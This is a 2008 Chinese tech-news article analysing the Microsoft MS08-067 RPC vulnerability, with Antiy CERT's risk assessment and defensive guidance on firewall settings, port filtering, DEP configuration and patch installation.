微软最牛RPC漏洞MS08-067全解决方案2008-10-28 11:29:08 来源:赛迪网作者:张晓兵点击: 2744近期微软爆出四年以来最严重的安全漏洞，赛迪网安全频道特邀请安全专家张晓兵撰文，为大家解读此次微软MS08-067漏洞，并针对于此给出了全面的解决方安全案。
近期微软爆出四年以来最严重的安全漏洞，赛迪网安全频道特邀请安全专家张晓兵撰文，为大家解读此次微软MS08-067漏洞，并针对于此给出了全面的解决方安全案。
第一部分：MS08-067漏洞与趋势分析2008年10月23日，微软爆出特大安全漏洞，几乎影响所有Windows系统，强烈建议广大用户及时下载安装该漏洞补丁。
成功利用该漏洞的远程攻击者，可能会利用此问题危及基于Microsoft Windows系统的安全，并获取对该系统的控制权。
这是微软近一年半以来首次打破每月定期发布安全公告惯例而紧急发布的更新通告。
该安全漏洞可能允许远程执行代码，如果受影响的系统收到了特制伪造的RPC请求。
在Microsoft Windows 2000、Windows XP和Windows Server 2003系统，攻击者可以利用此漏洞无需通过认证运行任意代码。
这个漏洞还可能被蠕虫利用，此安全漏洞可以通过恶意构造的网络包直接发起攻击，并且攻击者可以获取完整权限，因此该漏洞很可能会被用于制作蠕虫以进行大规模的攻击。
受影响的操作系统如下：Windows XP Professional x64 EditionMicrosoft Windows 2000 Service Pack 4Windows XP Service Pack 2Windows XP Service Pack 3Windows XP Professional x64 EditionWindows XP Professional x64 Edition Service Pack 2Windows Server 2003 Service Pack 1Windows Server 2003 Service Pack 2Windows Server 2003 x64 EditionWindows Server 2003 x64 Edition Service Pack 2Windows Server 2003 SP1(用于基于 Itanium 的系统)Windows Server 2003 SP2(用于基于 Itanium 的系统)Windows Vista 和 Windows Vista Service Pack 1Windows Vista x64 Edition 和 Windows Vista x64 Edition Service Pack 1 Windows Server 2008(用于 32 位系统)Windows Server 2008(用于基于 x64 的系统)Windows Server 2008(用于基于 Itanium 的系统)Windows 7 Beta(用于 32 位系统)Windows 7 Beta x64 EditionWindows 7 Beta(用于基于 Itanium 的系统)得到此消息后，安天网络安全研究与应急处理中心(Antiy CERT)进行了紧急的研究，并制定了相应的解决方案。
根据应急处理有关条例中“遭遇到能远程主动发起针对主流桌面操作系统的默认开放端口的扫描，并能对有漏洞直接获得系统权限”和“漏洞可以被利用用以作为蠕虫的主动传播机制”两个标准，安天将本次应急响应级别直接定级为最高级别A级。
这是安天最近1年来的首次A级预警，并已向有关部门和自身用户进行了通报。
此外，在微软发布补丁之前相关攻击已经被少量捕获，溢出代码在补丁发放日已经公开，而且在当天已经有应急组织捕获到有关样本。
从目前的情况看，已经在较长的时间里没有类似机制漏洞出现。
目前各应急组织、运营商、用户准备不足，因此应该警惕根据该漏洞制造的病毒在近期大规模爆发。
对于该漏洞在未来一段时间内的发展趋势，安天认为该漏洞可能造成病毒感染数量的显著上升、可能导致盗号窃密事件的显著上升、可能短时间内造成傀儡主机数量的增长并产生新的僵尸网络、可能关联造成网络探测、扫描、DDoS攻击事件的增加及垃圾邮件的传播。
由于服务器系统相关防护比较严格，受到的影响相对较小，其直接攻击可能会带动挂马事件的小幅上升，但不会有重大影响。
其对挂马的关联影响可能主要表现在攻击者可能在短时间内获取更多的探测节点，从而找到更多的可注入WEB节点。
在地域形式上，国内用户受影响程度要远高于欧美地区，这是因为国内用户使用的操作系统版本受该漏洞影响比率要远高于欧美户。
而且受到近期Windows黑屏事件影响，部分用户可能会关闭补丁升级机制。
另外，中国大量使用的一些盗版定制系统，破坏了windows系统的一些内建安全机制。
这些情况都会导致国内的潜在疫情要远高于国外。
第二部分：MS08-067漏洞的终端用户解决方案这是一个针对139、445端口的RPC服务进行攻击的漏洞，可以直接获取系统控制权。
根据微软的消息，该攻击无法穿透DEP机制的保护，对正版用户，该漏洞对XP SP2以上版本(含SP2)和Server 2003 SP1(含SP1)系统无效，因此主要受到威胁的用户应该是Windows 2000和Windows XP SP2以前版本用户。
但由于一些盗版传播中，被人为降低了安全级别或者修改过安全机制，因此除了上述版本的用户也有可能受到攻击。
据安天介绍，一些常规的解决思路是，当有重大远程漏洞发生时，对于不需要实时连接的系统，可以考虑先断网检测安全配置，然后采用调整防火墙和安全策略的方式保证联网打补丁时段的安全，然后再进行补丁升级。
一、桌面与工作站用户的安全配置方案桌面系统主要以浏览、下载、游戏、工作等与用户直接操作交互为主要应用方式，其多数网络操作为用户主动对外发起连接，而不是凭借本地监听端口为外部用户提供服务。
桌面系统如果不提供共享打印，不需要在局域网游戏(如CS、FIFA等)中作为主机使用，可以通过设置为禁止发布发起连接模式，来阻断所有向本主机发起的连接。
进行有关设置不会影响到操作者的浏览、聊天、下载、在线视频、常见网游等操作。
进行这样的设置不仅可以阻断MS08-067攻击，而且可以阻断所有相同针对主机固定端口的攻击，缺点是如果主机提供打印共享、网络共享目录等服务则会失效，在CS、FIFA等游戏中无法作为host主机使用，还可能与蓝波宽带拨号程序冲突。
1、Windows自带防火墙的相关配置步骤1：在控制面板中找到防火墙。
步骤2：选择更改设置，此时Vista系统的安全机制可能需要灰屏确认，请选择是。
步骤3：启动防火墙并选择阻止所有传入连接。
2、其它防火墙的安全设置如果Windows系统的防火墙不支持本项设置，可通过其他防火墙实现，以安天盾防火墙免费工具为例。
步骤1：通过单击Windows开始菜单中安天安全中心项目，或者单击托盘中的安天安全中心图标，启动有关配置。
步骤2：在安天安全中心界面上点击设置。
步骤3：将策略选择为系统初装。
二、不需要开放RPC服务的服务器安全配置方案网络服务器用户以固定端口对外进行服务，因此不能采用阻断所有传入连接的方式进行配置，否则会失效。
而从WindowNT Server到Server 2008，不需要开放RPC服务器的用户可以不依赖任何安全工具，仅凭借Windows Server自身安全机制既可实现屏蔽，如果仅是直接关闭RPC 服务，会给本机管理带来一些麻烦。
步骤1：点击右键，选择网络连接属性。
步骤2：点击Internet 协议(TCP/IP)属性。
步骤3：在弹出的Internet协议(TCP/IP)属性对话框中点击“高级”。
步骤4：对TCP/IP筛选中点击属性。
步骤5：在TCP/IP筛选中配置允许访问的端口，只要不包含TCP139和445则MS08-067 RPC 攻击失效。
三、需要开放RPC服务的服务器安全配置方案需要开放RPC服务的服务器，如网络打印、网络共享和一些RPC通讯调用的节点，不能够通过上述关闭端口的方式，否则会造成无效。
可以转而采用打补丁、打开DEP策略，或安装主机IPS的方法。
下面介绍一下系统DEP保护配置的方法。
步骤1：我的电脑右键点击属性，点击“高级”页中的“设置”按钮。
步骤2：设定数据执行保护策略，修改后重新启动电脑。
在这里，进行不同的选择会有不同的效果，如果选择“仅为基本Windows程序和服务启用DEP”功能，则可以挡住本次RPC攻击，也可以挡住目前主流的针对Windows开放端口的攻击。
在获得一定的安全性的情况下，保证系统的兼容性。
但是缺点是不能保护类似IE浏览器、Outlook 等比较脆弱的互联网应用程序，不能防范类似挂马注入的攻击。
如果选择“为除下列选定程序之外的所有程序和服务启用DEP”功能，则在上述效果的基础上，对Web挂马、各种应用软件插件注入都有很好的效果，具有更强的系统安全性，不过缺点是与部分应用程序冲突，但可以通过将冲突的程序设置为例外来解决。
四、安装相应补丁，解决安全隐患根据自己系统情况寻找地址安装单一补丁，是一个有效修补漏洞并规避微软黑屏策略影响的方法。
微软的补丁都可以离线安装，可以选择将有漏洞的系统断网，从安全的系统上下载补丁再用移动存储复制到有漏洞的系统下。
中文操作系统KB958644补丁下载地址：/download/d/c/0/dc047ab9-53f8-481c-8c46-528b7f493fc1/Windows6.0-KB958644-x86.msu第三部分：MS08-067漏洞企业级安全解决方案Windows操作系统下的Server服务在处理RPC请求的过程中存在一个漏洞，远程攻击者可以通过发送恶意的RPC请求触发这个溢出，导致完全入侵用户系统，以系统权限执行任意指令并获取数据。
该漏洞可导致蠕虫攻击，类似冲击波蠕虫。
一、端口策略管理员可以通过防火墙和路由设备阻断TCP 139和445端口，制止蠕虫进入内网。
二、终端配置策略请参考第二部分内容。
三、扩展检测使用安天AVL SDK反病毒引擎的防火墙和UTM厂商可以使用RPCscan.so模块。
四、SNORT用户可添加以下规则：/cgi-bin/cvsweb.cgi/sigs/EXPLOIT/EXPLOIT_MS08-067?rev =1.1)。